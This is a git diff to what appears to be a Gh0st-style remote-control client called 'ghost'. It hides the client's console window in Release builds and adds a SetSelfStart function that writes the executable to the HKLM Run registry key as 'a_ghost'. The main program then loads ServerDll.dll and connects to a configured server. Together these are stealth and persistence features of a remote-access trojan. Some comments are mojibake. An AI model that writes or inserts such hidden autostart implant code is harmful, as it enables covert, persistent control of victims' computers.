diff --git a/ReadMe.txt b/ReadMe.txt index f95e495..444aabd 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -166,4 +166,6 @@ 2019.3.24 -将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。 +1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。 + +2、新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 2fb4555..b6ac148 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -20,6 +20,12 @@ DWORD WINAPI StartClient(LPVOID lParam); enum { E_RUN, E_STOP } status; +// ؿ̨ +// οhttps://blog.csdn.net/lijia11080117/article/details/44916647 +// step1: "߼"ڵΪmainCRTStartup +// step2: "ϵͳ"ϵͳΪ +// + BOOL CALLBACK callback(DWORD CtrlType) { if (CtrlType == CTRL_CLOSE_EVENT) @@ -85,7 +91,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, return TRUE; } - +// һghost extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); diff --git a/client/TestRun.vcxproj b/client/TestRun.vcxproj index 6738086..a4d2318 100644 --- a/client/TestRun.vcxproj +++ b/client/TestRun.vcxproj @@ -49,6 +49,7 @@ true + Console @@ -65,6 +66,8 @@ true true true + Windows + mainCRTStartup diff --git a/client/ghost.vcxproj b/client/ghost.vcxproj index 7a5c4d5..c925ef4 100644 --- a/client/ghost.vcxproj +++ b/client/ghost.vcxproj @@ -60,6 +60,9 @@ true zlib.lib;%(AdditionalDependencies) libcmt.lib + + + Console @@ -79,6 +82,8 @@ true zlib.lib;%(AdditionalDependencies) /SAFESEH:NO %(AdditionalOptions) + Windows + mainCRTStartup diff --git a/client/test.cpp b/client/test.cpp index 1f07840..9f42018 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -19,15 +19,50 @@ struct CONNECT_ADDRESS int iPort; }g_ConnectAddress={0x1234567,"",0}; -int main() +/** +* @brief ñ +* @param[in] *sPath ע· +* @param[in] *sNmae ע +* @return ע +* @details Win7 64λϲԽעڣ\n +* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run +* @note ״ҪԹԱȨУעд뿪 +*/ +BOOL SetSelfStart(const char *sPath, const char *sNmae) { + // дע· +#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + + // עдϢ + HKEY hKey = NULL; + LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); + + // жǷɹ + if(lRet != ERROR_SUCCESS) + return FALSE; + + lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); + + // رע + RegCloseKey(hKey); + + // жǷɹ + return lRet == ERROR_SUCCESS; +} + +int main(int argc, const char *argv[]) +{ + if(!SetSelfStart(argv[0], "a_ghost")) + { + std::cout<<"ÿʧ.\n"; + } char path[_MAX_PATH], *p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; while ('\\' != *p) --p; strcpy(p+1, "ServerDll.dll"); HMODULE hDll = LoadLibraryA(path); - typedef void (*TestRun)(char* strHost,int nPort ); + typedef void (*TestRun)(char* strHost,int nPort); TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;